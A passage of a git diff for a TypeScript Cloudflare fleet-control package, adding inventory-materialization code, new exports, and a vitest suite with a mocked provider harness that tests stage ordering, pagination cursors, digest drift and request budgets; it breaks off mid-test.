| 'deployment-egress', + resourceGroupId: optionalText(payload, 'resourceGroupId'), + } + : {}), + scriptName: text(payload, 'scriptName'), + tenantTag: text(payload, 'tenantTag'), + environment: text(payload, 'environment'), + databaseIds: facts('database-id').map((fact) => text(fact, 'databaseId')), + durableObjectBindings: facts('durable-object-binding').map((fact) => { + const scriptName = optionalText(fact, 'scriptName'); + const dispatchNamespace = optionalText(fact, 'dispatchNamespace'); + return { + name: text(fact, 'name'), + className: text(fact, 'className'), + namespaceId: text(fact, 'namespaceId'), + ...(scriptName === undefined ? {} : { scriptName }), + ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }), + } satisfies DurableObjectBindingInventory; + }), + serviceBindings: facts('service-binding').map((fact) => { + const entrypoint = optionalText(fact, 'entrypoint'); + return { + name: text(fact, 'name'), + service: text(fact, 'service'), + ...(entrypoint === undefined ? {} : { entrypoint }), + }; + }), + queueProducerBindings: facts('queue-producer-binding').map((fact) => ({ + name: text(fact, 'name'), + queueName: text(fact, 'queueName'), + })), + }; + const r2BucketBindings = facts('r2-binding').map( + (fact) => + ({ + name: text(fact, 'name'), + bucketName: text(fact, 'bucketName'), + jurisdiction: text(fact, 'jurisdiction') as R2Jurisdiction, + }) satisfies ApplicationR2Binding, + ); + const secretNames = facts('secret-name').map((fact) => + text(fact, 'secretName'), + ); + const plainTextBindings = Object.fromEntries( + facts('plain-text-binding').map((fact) => [ + text(fact, 'name'), + text(fact, 'text'), + ]), + ); + const routeHostnames = facts('route-hostname').map((fact) => + text(fact, 'hostname'), + ); + const artifact = { + artifactVersion: text(payload, 'artifactVersion'), + ...(desiredSpecDigest === undefined ? {} : { desiredSpecDigest }), + schemaVersion: integer(payload, 'schemaVersion'), + }; + // The two backends carry different keys in a different order, and the frozen + // golden baseline compares key order, so each shape is assembled explicitly. + if (backend === 'workers-for-platforms') { + return { + ...identity, + r2BucketBindings, + plainTextBindings, + secretNames, + routeHostnames, + ...artifact, + }; + } + return { + ...identity, + kvNamespaceBindings: facts('kv-binding').map((fact) => ({ + name: text(fact, 'name'), + namespaceId: text(fact, 'namespaceId'), + })), + r2BucketBindings, + secretNames, + plainTextBindings, + routeHostnames, + zoneRoutes: facts('zone-route').map( + (fact) => + ({ + zoneId: text(fact, 'zoneId'), + routeId: text(fact, 'routeId'), + pattern: text(fact, 'pattern'), + }) satisfies WorkerZoneRoute, + ), + ...artifact, + }; +} + +/** + * Rebuilds one account inventory from staged rows and deployment + * facts in ordinal order. Row payloads carry an explicit `record` + * discriminator because several stages share one row kind for their durable + * work lists, and only the materialized records may reach the result. + */ +export function materializeFleetInventoryGeneration( + input: Readonly<{ + rows: readonly FleetInventoryStagedRow[]; + facts: readonly FleetInventoryStagedFact[]; + options: FleetInventoryRunOptions; + }>, +): FleetResourceInventory { + const index = indexFacts(input.facts); + const of = (kind: FleetInventoryRowKind, record: string) => + input.rows + .filter((row) => row.kind === kind && row.payload.record === record) + .sort((left, right) => left.ordinal - right.ordinal); + const dispatchInventory = of('meta', 'dispatch-inventory')[0]?.payload; + const dispatchScriptCount = + dispatchInventory === undefined + ? undefined + : integer(dispatchInventory, 'dispatchScriptCount'); + const namespaceId = + dispatchInventory === undefined + ? undefined + : optionalText(dispatchInventory, 'namespaceId'); + return { + findings: of('finding', 'finding').map( + (row) => + ({ + tenantTag: text(row.payload, 'tenantTag'), + environment: text(row.payload, 'environment'), + kind: text(row.payload, 'kind'), + detail: text(row.payload, 'detail'), + }) as FleetInventoryFinding, + ), + ...(input.options.hostRoutingKvId === undefined + ? {} + : { hostRoutingKvId: input.options.hostRoutingKvId }), + dispatchScriptCount, + ...(dispatchInventory === undefined || dispatchScriptCount === undefined + ? {} + : { + dispatchNamespace: { + name: text(dispatchInventory, 'name'), + ...(namespaceId === undefined ? {} : { namespaceId }), + trustedWorkers: dispatchInventory.trustedWorkers as + | boolean + | undefined, + scriptCount: integer(dispatchInventory, 'scriptCount'), + }, + }), + scriptRegistrations: of('registration', 'registration').map((row) => ({ + scriptName: text(row.payload, 'scriptName'), + tenantTag: text(row.payload, 'tenantTag'), + environment: text(row.payload, 'environment'), + databaseId: text(row.payload, 'databaseId'), + routeHostname: text(row.payload, 'routeHostname'), + })), + deployments: of('deployment', 'deployment').map((row) => + materializeDeployment(row, index), + ), + databaseIds: of('database-id', 'database-id').map((row) => + text(row.payload, 'databaseId'), + ), + namespaceIds: of('namespace-id', 'namespace-id').map((row) => + text(row.payload, 'namespaceId'), + ), + r2Buckets: of('r2-bucket', 'r2-bucket').map((row) => ({ + bucketName: text(row.payload, 'bucketName'), + jurisdiction: text(row.payload, 'jurisdiction') as R2Jurisdiction, + creationDate: text(row.payload, 'creationDate'), + })), + routes: of('route', 'route').map( + (row) => + withoutRecord(row.payload) as FleetResourceInventory['routes'][number], + ), + }; +} diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index 08dbaf3b..1cd9c113 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -65,6 +65,7 @@ export { CloudflareProvisioningClient, type ControlWorkerInspection, type ControlWorkerSpec, + cloudflareFleetInventoryContext, type DurableDatabaseExportStore, type OrdinaryWorkerFootprint, type PlainWorkerCloudflareClientOptions, @@ -75,6 +76,7 @@ export { type D1CloudflareApiRateCoordinatorOptions, ProcessLocalCloudflareApiRateCoordinator, } from './cloudflare-rate-coordinator.js'; +export { D1FleetInventoryRunStore } from './d1-fleet-inventory-run-store.js'; export { type AdvanceDecommissionDeploymentOptions, advanceDecommissionDeployment, @@ -99,6 +101,27 @@ export { migrateFleet, rollbackExternalRelease, } from './fleet.js'; +export { + type AdvanceFleetInventoryOptions, + advanceFleetInventory, + type FleetInventoryAdvanceAction, + type FleetInventoryAdvanceCapability, + FleetInventoryAdvanceCapabilityError, + type FleetInventoryAdvanceResult, + readFleetInventoryGeneration, +} from './fleet-inventory-advance.js'; +export { + type CollectFleetInventoryOptions, + type FleetInventoryGenerationRef, + type FleetInventoryLease, + type FleetInventoryProviderContext, + type FleetInventoryRunOptions, + type FleetInventoryRunStore, + type FleetInventoryRunToken, + FleetInventoryRunTokenError, + FleetInventoryRunTokenFutureError, + FleetInventoryRunTokenOperationError, +} from './fleet-inventory-state.js'; export type { HostRoutingTarget } from './host-routing.js'; export { PlainWorkerBackend, diff --git a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts new file mode 100644 index 00000000..43e8ff71 --- /dev/null +++ b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts @@ -0,0 +1,1270 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + advanceCloudflareFleetInventoryStage, + CloudflareFleetInventoryBudgetError, + CloudflareFleetInventoryCursorDriftError, + CloudflareFleetInventoryCursorError, + type CloudflareFleetInventoryDeps, + type FleetInventoryBucketPage, + type FleetInventoryDispatchNamespace, + type FleetInventoryDispatchWorker, + type FleetInventoryOrdinaryScriptDetail, +} from '../src/cloudflare-fleet-inventory.js'; +import type { CloudflareSdk } from '../src/cloudflare-ordinary-worker-operations.js'; +import { + emptyFleetInventoryRowCounts, + FLEET_INVENTORY_STAGE_ORDER, + FleetInventoryFindingValueError, + type FleetInventoryRunOptions, + type FleetInventoryRunProgress, + type FleetInventoryStage, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + initialFleetInventoryStage, +} from '../src/fleet-inventory-state.js'; +import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; + +interface KeyItem { + readonly name?: string; +} + +interface DispatchItem { + readonly id: string; + readonly tags: readonly string[]; +} + +interface World { + readonly kvPages?: readonly (readonly KeyItem[])[]; + readonly kvValues?: Readonly>; + readonly dispatchNamespace?: string; + readonly dispatchPages?: readonly (readonly DispatchItem[])[]; + readonly dispatchStatuses?: readonly number[]; + readonly namespaceInventory?: FleetInventoryDispatchNamespace; + readonly dispatchWorkers?: Readonly< + Record + >; + readonly domainPages?: readonly (readonly Readonly<{ + hostname: string; + service: string; + }>[])[]; + readonly zoneIds?: readonly string[]; + readonly zoneRoutePages?: Readonly< + Record< + string, + readonly (readonly Readonly<{ + id?: string; + pattern?: string; + script?: string; + }>[])[] + > + >; + readonly scriptPages?: readonly (readonly Readonly<{ id?: string }>[])[]; + readonly scriptDetails?: Readonly< + Record + >; + readonly databasePages?: readonly (readonly Readonly<{ + uuid?: string; + name?: string; + }>[])[]; + readonly namespacePages?: readonly (readonly Readonly<{ + id?: string; + script?: string; + }>[])[]; + readonly buckets?: Readonly< + Record + >; +} + +const CAPABILITY_ERROR = new Error('dispatch namespace capability'); +const INSPECT_FAILURE = 'inspect exploded with token sk-live-secret'; +const DETAIL_FAILURE = 'detail exploded with token sk-live-secret'; + +function pageAt( + pages: readonly (readonly T[])[] | undefined, + cursor: string | undefined, +): Readonly<{ items: readonly T[]; cursor?: string }> { + const all = pages ?? []; + const index = cursor === undefined ? 0 : Number(cursor.slice(1)); + const items = all[index] ?? []; + const next = index + 1 < all.length ? `c${index + 1}` : undefined; + return { items, ...(next === undefined ? {} : { cursor: next }) }; +} + +interface Harness { + readonly deps: CloudflareFleetInventoryDeps; + readonly calls: string[]; + readonly dispatchRequests: string[]; +} + +function harness(world: World): Harness { + const calls: string[] = []; + const dispatchRequests: string[] = []; + let dispatchAttempt = 0; + const deps: CloudflareFleetInventoryDeps = { + attachmentScan: { + accountId: 'account-1', + client: undefined as unknown as CloudflareSdk, + ...(world.dispatchNamespace === undefined + ? {} + : { dispatchNamespace: world.dispatchNamespace }), + requestDispatchScriptPage: async ({ namespace, cursor, perPage }) => { + dispatchRequests.push(`${namespace}|${cursor ?? ''}|${perPage}`); + const status = world.dispatchStatuses?.[dispatchAttempt] ?? 200; + dispatchAttempt += 1; + if (status !== 200) { + return new Response('{}', { status }); + } + const page = pageAt(world.dispatchPages, cursor); + return new Response( + JSON.stringify({ + result: page.items, + ...(page.cursor === undefined + ? {} + : { result_info: { cursor: page.cursor } }), + }), + { status: 200 }, + ); + }, + }, + dispatchNamespace: () => { + if (world.dispatchNamespace === undefined) throw CAPABILITY_ERROR; + return world.dispatchNamespace; + }, + isDispatchCapabilityError: (error) => error === CAPABILITY_ERROR, + listHostRoutingKeys: async ({ cursor }) => { + calls.push(`kv-keys:${cursor ?? ''}`); + const page = pageAt(world.kvPages, cursor); + return { + keys: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + readHostRoutingValue: async ({ keyName }) => { + calls.push(`kv-value:${keyName}`); + return world.kvValues?.[keyName]; + }, + inspectDispatchWorker: async ({ scriptName }) => { + calls.push(`inspect:${scriptName}`); + const entry = world.dispatchWorkers?.[scriptName]; + if (entry === 'error') throw new Error(INSPECT_FAILURE); + if (entry === undefined || entry === 'missing') return undefined; + return entry; + }, + getDispatchNamespace: async ({ namespace }) => { + calls.push(`namespace:${namespace}`); + return world.namespaceInventory ?? {}; + }, + listCustomDomains: async ({ cursor }) => { + calls.push(`domains:${cursor ?? ''}`); + const page = pageAt(world.domainPages, cursor); + return { + domains: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + listWorkerRouteZoneIds: async () => { + calls.push('zones'); + return world.zoneIds ?? []; + }, + listZoneRoutes: async ({ zoneId, cursor }) => { + calls.push(`zone-routes:${zoneId}:${cursor ?? ''}`); + const page = pageAt(world.zoneRoutePages?.[zoneId], cursor); + return { + routes: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + listOrdinaryScripts: async ({ cursor }) => { + calls.push(`scripts:${cursor ?? ''}`); + const page = pageAt(world.scriptPages, cursor); + return { + scripts: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + readOrdinaryScriptDetail: async ({ scriptName }) => { + calls.push(`detail:${scriptName}`); + const detail = world.scriptDetails?.[scriptName]; + if (detail === undefined || detail === 'error') { + throw new Error(DETAIL_FAILURE); + } + return detail; + }, + listDatabases: async ({ cursor }) => { + calls.push(`databases:${cursor ?? ''}`); + const page = pageAt(world.databasePages, cursor); + return { + databases: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + listDurableObjectNamespaces: async ({ cursor }) => { + calls.push(`namespaces:${cursor ?? ''}`); + const page = pageAt(world.namespacePages, cursor); + return { + namespaces: page.items, + ...(page.cursor === undefined ? {} : { cursor: page.cursor }), + }; + }, + listR2Buckets: async ({ jurisdiction, startAfter }) => { + calls.push(`r2:${jurisdiction}:${startAfter ?? ''}`); + const all = world.buckets?.[jurisdiction] ?? []; + const start = + startAfter === undefined + ? 0 + : all.findIndex((bucket) => bucket.name === startAfter) + 1; + return { buckets: all.slice(start, start + 1_000) }; + }, + }; + return { deps, calls, dispatchRequests }; +} + +function stageKey(stage: FleetInventoryStage): string { + return JSON.stringify( + Object.entries(stage).sort(([left], [right]) => (left < right ? -1 : 1)), + ); +} + +function initialProgress( + options: FleetInventoryRunOptions, +): FleetInventoryRunProgress { + return { + stage: initialFleetInventoryStage(options), + generation: 1, + revision: 0, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 0, + }; +} + +interface DriveResult { + readonly steps: readonly string[]; + readonly stages: readonly FleetInventoryStage[]; + readonly rows: readonly FleetInventoryStagedRow[]; + readonly facts: readonly FleetInventoryStagedFact[]; + readonly diagnostics: readonly string[]; + readonly providerRequests: number; +} + +/** + * Drives the engine exactly as the coordinator will: one chunk per call, and + * `lastPageDigest` is retained only while the stage position is unchanged. + */ +async function drive( + deps: CloudflareFleetInventoryDeps, + options: FleetInventoryRunOptions, + maxProviderRequests = 1_000, +): Promise { + let progress = initialProgress(options); + const steps: string[] = []; + const stages: FleetInventoryStage[] = []; + const rows: FleetInventoryStagedRow[] = []; + const facts: FleetInventoryStagedFact[] = []; + const diagnostics: string[] = []; + let providerRequests = 0; + for (let index = 0; index < 200; index += 1) { + const stage = progress.stage; + steps.push(stage.step); + stages.push(stage); + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options, + progress, + maxProviderRequests, + }); + rows.push(...result.rows); + facts.push(...result.facts); + diagnostics.push(...result.diagnostics); + providerRequests += result.providerRequests; + const stagedCounts = { ...progress.stagedCounts }; + for (const row of result.rows) stagedCounts[row.kind] += 1; + const resumed = stageKey(result.nextStage) === stageKey(stage); + progress = { + stage: result.nextStage, + generation: 1, + revision: progress.revision + 1, + stagedCounts, + factCount: progress.factCount + result.facts.length, + ...(resumed && result.pageDigest !== undefined + ? { lastPageDigest: result.pageDigest } + : {}), + providerRequests, + }; + if (stage.step === 'finalize') break; + } + return { steps, stages, rows, facts, diagnostics, providerRequests }; +} + +function findings( + rows: readonly FleetInventoryStagedRow[], +): readonly Readonly>[] { + return rows.filter((row) => row.kind === 'finding').map((row) => row.payload); +} + +function details(rows: readonly FleetInventoryStagedRow[]): readonly string[] { + return findings(rows).map((payload) => String(payload.detail)); +} + +const TENANT = 'tenant1'; +const ENVIRONMENT = 'prod'; +const POLICY = canonicalDeploymentEgressPolicy({ + policyId: 'policy-1', + tenantTag: TENANT, + environment: ENVIRONMENT, + allowedHosts: ['api.example.com'], +}); + +function hostRouteValue(scriptName: string): string { + return JSON.stringify({ + scriptName, + tenantTag: TENANT, + environment: ENVIRONMENT, + policyId: 'policy-1', + policyDigest: POLICY.policyDigest, + policyHosts: POLICY.policyHosts, + }); +} + +function registrationValue( + scriptName: string, + overrides: Readonly> = {}, +): string { + return JSON.stringify({ + scriptName, + tenantTag: TENANT, + environment: ENVIRONMENT, + databaseId: 'db-1', + routeHostname: 'app.example.com', + ...overrides, + }); +} + +function dispatchWorker( + overrides: Partial = {}, +): FleetInventoryDispatchWorker { + return { + artifactVersion: 'version-1', + tenantTag: TENANT, + environment: ENVIRONMENT, + schemaVersion: 3, + desiredSpecDigest: 'digest-1', + databaseIds: ['db-1'], + durableObjectBindings: [ + { name: 'DO', className: 'Runner', namespaceId: 'ns-a' }, + ], + serviceBindings: [{ name: 'SVC', service: 'anchorage-plain' }], + queueProducerBindings: [{ name: 'Q', queueName: 'queue-1' }], + r2BucketBindings: [ + { name: 'R2', bucketName: 'anchorage-bucket', jurisdiction: 'default' }, + ], + secretNames: ['SECRET_ONE'], + plainTextBindings: { DEPLOYMENT_TENANT: TENANT }, + ...overrides, + }; +} + +function ordinaryDetail( + overrides: Partial = {}, +): FleetInventoryOrdinaryScriptDetail { + return { + artifactVersion: 'version-9', + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: ENVIRONMENT }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' }, + { type: 'd1', name: 'DB', database_id: 'db-1' }, + ], + subdomainEnabled: false, + previewsEnabled: false, + secretNames: ['PLAIN_SECRET'], + ...overrides, + }; +} + +const RICH_OPTIONS: FleetInventoryRunOptions = { + hostRoutingKvId: 'kv-1', + databaseNamePrefix: 'anchorage-db-', + scriptNamePrefix: 'anchorage-', + includeDispatchNamespace: true, + includeR2Buckets: true, +}; + +const RICH_WORLD: World = { + dispatchNamespace: 'anchorage-ns', + kvPages: [ + [ + { name: '__anchorage_script__:anchorage-alpha' }, + { name: '__anchorage_script__:anchorage-beta' }, + { name: '__anchorage_script__:anchorage-bad' }, + { name: '__anchorage_script__:anchorage-delta' }, + { name: '__anchorage_script__:anchorage-epsilon' }, + { name: 'app.example.com' }, + { name: 'other.example.com' }, + { name: 'stale.example.com' }, + ], + ], + kvValues: { + '__anchorage_script__:anchorage-alpha': + registrationValue('anchorage-alpha'), + '__anchorage_script__:anchorage-beta': registrationValue('anchorage-gamma'), + '__anchorage_script__:anchorage-bad': 'not json', + '__anchorage_script__:anchorage-delta': + registrationValue('anchorage-delta'), + '__anchorage_script__:anchorage-epsilon': + registrationValue('anchorage-epsilon'), + 'app.example.com': hostRouteValue('anchorage-alpha'), + 'other.example.com': hostRouteValue('anchorage-alpha'), + 'stale.example.com': JSON.stringify({ scriptName: 'anchorage-alpha' }), + }, + dispatchPages: [ + [ + { + id: 'anchorage-alpha', + tags: ['fleet:anchorage', `tenant:${TENANT}`, 'environment:prod'], + }, + { id: 'anchorage-delta', tags: ['fleet:anchorage'] }, + { + id: 'anchorage-epsilon', + tags: ['fleet:anchorage', `tenant:${TENANT}`, 'environment:prod'], + }, + { id: 'anchorage-orphan', tags: [] }, + ], + ], + namespaceInventory: { + namespace_name: 'other-ns', + namespace_id: 'ns-1', + trusted_workers: false, + script_count: 5, + }, + dispatchWorkers: { + 'anchorage-alpha': dispatchWorker(), + 'anchorage-gamma': 'missing', + 'anchorage-delta': 'error', + 'anchorage-epsilon': dispatchWorker({ tenantTag: 'tenant2' }), + }, + domainPages: [ + [ + { hostname: 'cd.example.com', service: 'anchorage-plain' }, + { hostname: 'orphan.example.com', service: 'anchorage-ghost' }, + ], + ], + zoneIds: ['zone-1'], + zoneRoutePages: { + 'zone-1': [ + [ + { + id: 'route-1', + pattern: 'zone.example.com/*', + script: 'anchorage-plain', + }, + ], + ], + }, + scriptPages: [ + [{ id: 'anchorage-plain' }, { id: 'anchorage-ghost' }, { id: 'other' }], + ], + scriptDetails: { + 'anchorage-plain': ordinaryDetail({ + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: ENVIRONMENT }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_ROLE', + text: 'platform-state', + }, + { type: 'plain_text', name: 'FLEET_RESOURCE_GROUP', text: 'group-1' }, + { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: 'spec-1' }, + { type: 'd1', name: 'DB', database_id: 'db-1' }, + { type: 'kv_namespace', name: 'KV', namespace_id: 'kv-9' }, + ], + previewsEnabled: true, + }), + 'anchorage-ghost': 'error', + }, + databasePages: [ + [ + { uuid: 'db-1', name: 'anchorage-db-alpha' }, + { uuid: 'db-2', name: 'unrelated' }, + ], + ], + namespacePages: [ + [ + { id: 'ns-a', script: 'anchorage-alpha' }, + { id: 'ns-b', script: 'unrelated' }, + ], + ], + buckets: { + default: [ + { name: 'anchorage-bucket', creation_date: '2024-01-01T00:00:00.000Z' }, + ], + }, +}; + +const EMPTY_OPTIONS: FleetInventoryRunOptions = { + databaseNamePrefix: 'anchorage-db-', + scriptNamePrefix: 'anchorage-', + includeDispatchNamespace: false, + includeR2Buckets: false, +}; + +describe('advanceCloudflareFleetInventoryStage', () => { + it('walks the fifteen provider stages in encounter order, one chunk per call', async () => { + const { deps } = harness(RICH_WORLD); + const run = await drive(deps, RICH_OPTIONS); + expect(run.steps).toEqual([...FLEET_INVENTORY_STAGE_ORDER]); + expect( + run.rows + .filter((row) => row.kind === 'route') + .map((row) => row.payload.surface), + ).toEqual([ + 'host-registry', + 'host-registry', + 'custom-domain', + 'custom-domain', + 'zone-route', + ]); + expect( + run.rows + .filter((row) => row.kind === 'database-id') + .map((row) => row.payload.databaseId), + ).toEqual(['db-1']); + expect( + run.rows + .filter((row) => row.kind === 'namespace-id') + .map((row) => row.payload.namespaceId), + ).toEqual(['ns-a']); + expect( + run.rows + .filter((row) => row.kind === 'r2-bucket') + .map((row) => row.payload.bucketName), + ).toEqual(['anchorage-bucket']); + }); + + it('advances past a zero-row page for every host routing and dispatch stage', async () => { + const steps = [ + 'host-kv-keys', + 'host-kv-values', + 'dispatch-pages', + 'registration-checks', + 'registration-postprocess', + ] as const; + const world: World = { + dispatchNamespace: 'anchorage-ns', + kvPages: [[]], + dispatchPages: [[]], + namespaceInventory: { + namespace_name: 'anchorage-ns', + trusted_workers: false, + script_count: 0, + }, + }; + for (const step of steps) { + const { deps } = harness(world); + const stage = ( + step === 'host-kv-values' + ? { step, keyOrdinal: 0 } + : step === 'dispatch-pages' + ? { step, pageOrdinal: 0 } + : step === 'registration-checks' + ? { step, registrationOrdinal: 0 } + : { step } + ) as FleetInventoryStage; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 1_000, + }); + // The attestation record is the one row a zero-row registry still + // stages, because the namespace itself was read. + expect(result.rows.map((row) => row.kind)).toEqual( + step === 'registration-postprocess' ? ['meta'] : [], + ); + expect(result.facts).toEqual([]); + expect(result.nextStage.step).not.toBe(step); + } + }); + + it('advances past a zero-row page for every routing stage', async () => { + const steps = [ + 'custom-domains', + 'zone-authority', + 'zone-routes', + 'route-claims', + ] as const; + const world: World = { domainPages: [[]], zoneIds: [], scriptPages: [[]] }; + for (const step of steps) { + const { deps } = harness(world); + const stage = ( + step === 'zone-routes' ? { step, zoneOrdinal: 0 } : { step } + ) as FleetInventoryStage; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 1_000, + }); + expect(result.rows).toEqual([]); + expect(result.facts).toEqual([]); + expect(result.nextStage.step).not.toBe(step); + } + }); + + it('advances past a zero-row page for every ordinary Worker stage', async () => { + const steps = ['ordinary-scripts', 'ordinary-script-detail'] as const; + const world: World = { scriptPages: [[]], domainPages: [[]], zoneIds: [] }; + for (const step of steps) { + const { deps } = harness(world); + const stage = ( + step === 'ordinary-script-detail' + ? { step, scriptOrdinal: 0 } + : { step } + ) as FleetInventoryStage; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 1_000, + }); + expect(result.rows).toEqual([]); + expect(result.nextStage.step).not.toBe(step); + } + }); + + it('advances past a zero-row page for every account resource stage', async () => { + const steps = [ + 'd1-databases', + 'do-namespaces', + 'r2-buckets', + 'finalize', + ] as const; + const world: World = { + databasePages: [[]], + namespacePages: [[]], + buckets: {}, + }; + for (const step of steps) { + const { deps } = harness(world); + const stage = ( + step === 'r2-buckets' ? { step, jurisdictionOrdinal: 0 } : { step } + ) as FleetInventoryStage; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: { ...EMPTY_OPTIONS, includeR2Buckets: true }, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 1_000, + }); + expect(result.rows).toEqual([]); + expect(result.nextStage.step).toBe( + step === 'finalize' + ? 'finalize' + : FLEET_INVENTORY_STAGE_ORDER[ + FLEET_INVENTORY_STAGE_ORDER.indexOf(step) + 1 + ], + ); + } + }); + + it('finalizes an empty generation for an account with no host routing KV', async () => { + const { deps, calls } = harness({ + domainPages: [[]], + zoneIds: [], + scriptPages: [[]], + databasePages: [[]], + namespacePages: [[]], + }); + const run = await drive(deps, EMPTY_OPTIONS); + expect(run.steps).toEqual([ + 'custom-domains', + 'zone-authority', + 'ordinary-scripts', + 'route-claims', + 'd1-databases', + 'do-namespaces', + 'finalize', + ]); + expect(run.rows).toEqual([]); + expect(run.facts).toEqual([]); + expect(calls).not.toContain('kv-keys:'); + expect(calls).not.toContain('r2:default:'); + }); + + it('advances through a host routing KV namespace that is empty', async () => { + const { deps } = harness({ + dispatchNamespace: 'anchorage-ns', + kvPages: [[]], + dispatchPages: [[]], + namespaceInventory: { + namespace_name: 'anchorage-ns', + trusted_workers: false, + script_count: 0, + }, + domainPages: [[]], + zoneIds: [], + scriptPages: [[]], + databasePages: [[]], + namespacePages: [[]], + }); + const run = await drive(deps, { ...RICH_OPTIONS, includeR2Buckets: false }); + expect(run.steps).toEqual([ + 'host-kv-keys', + 'dispatch-pages', + 'registration-postprocess', + 'custom-domains', + 'zone-authority', + // The attestation meta row enables the zone-route stage, which then + // finds no zone to walk. + 'zone-routes', + 'ordinary-scripts', + 'route-claims', + 'd1-databases', + 'do-namespaces', + 'finalize', + ]); + expect(details(run.rows)).toEqual([]); + }); + + it('advances the offset when a resumed chunk re-reads the same page', async () => { + const world: World = { + kvPages: [ + [{ name: 'a.example.com' }, { name: 'b.example.com' }], + [{ name: 'c.example.com' }], + ], + }; + const { deps } = harness(world); + const stage: FleetInventoryStage = { step: 'host-kv-keys' }; + const progress = { ...initialProgress(RICH_OPTIONS), stage }; + const first = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress, + maxProviderRequests: 9, + }); + expect(first.pageDigest).toMatch(/^[0-9a-f]{64}$/u); + const replay = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...progress, lastPageDigest: first.pageDigest }, + maxProviderRequests: 9, + }); + expect(replay.pageDigest).toBe(first.pageDigest); + expect(replay.nextStage).toEqual(first.nextStage); + expect(replay.rows).toEqual(first.rows); + }); + + it('refuses a resumed chunk whose page digest drifted', async () => { + const stage: FleetInventoryStage = { step: 'host-kv-keys' }; + const progress = { ...initialProgress(RICH_OPTIONS), stage }; + const first = await advanceCloudflareFleetInventoryStage( + harness({ kvPages: [[{ name: 'a.example.com' }]] }).deps, + { stage, options: RICH_OPTIONS, progress, maxProviderRequests: 9 }, + ); + const drifted = harness({ + kvPages: [[{ name: 'a.example.com' }, { name: 'b.example.com' }]], + }); + await expect( + advanceCloudflareFleetInventoryStage(drifted.deps, { + stage, + options: RICH_OPTIONS, + progress: { ...progress, lastPageDigest: first.pageDigest }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(CloudflareFleetInventoryCursorDriftError); + await expect( + advanceCloudflareFleetInventoryStage(drifted.deps, { + stage, + options: RICH_OPTIONS, + progress: { ...progress, lastPageDigest: first.pageDigest }, + maxProviderRequests: 9, + }), + ).rejects.toThrow( + "fleet inventory stage 'host-kv-keys' page changed between bounded chunks", + ); + }); + + it('refuses a provider listing that repeats its cursor', async () => { + const deps = harness({ kvPages: [[{ name: 'a.example.com' }]] }).deps; + const repeating: CloudflareFleetInventoryDeps = { + ...deps, + listHostRoutingKeys: async () => ({ + keys: [{ name: 'a.example.com' }], + cursor: 'stuck', + }), + }; + const stage: FleetInventoryStage = { + step: 'host-kv-keys', + cursor: 'stuck', + }; + await expect( + advanceCloudflareFleetInventoryStage(repeating, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(CloudflareFleetInventoryCursorError); + }); + + it('stops at the provider request budget and persists the exact offset', async () => { + const keys = Array.from({ length: 40 }, (_, index) => ({ + name: `host-${index}.example.com`, + })); + const { deps, calls } = harness({ + kvPages: [keys], + kvValues: Object.fromEntries( + keys.map((key) => [String(key.name), 'not json']), + ), + }); + const stage: FleetInventoryStage = { + step: 'host-kv-values', + keyOrdinal: 0, + }; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }); + // One page listing plus eight value reads exhausts the budget of nine. + expect(result.providerRequests).toBe(9); + expect(result.nextStage).toEqual({ step: 'host-kv-values', keyOrdinal: 8 }); + expect(result.rows).toHaveLength(8); + expect(calls.filter((call) => call.startsWith('kv-value:'))).toHaveLength( + 8, + ); + await expect( + advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }), + ).resolves.toMatchObject({ providerRequests: 9 }); + // A chunk that cannot reach its own offset fails closed instead of + // returning zero progress forever. + const paged = harness({ + kvPages: keys.map((key) => [key]), + kvValues: Object.fromEntries( + keys.map((key) => [String(key.name), 'not json']), + ), + }); + await expect( + 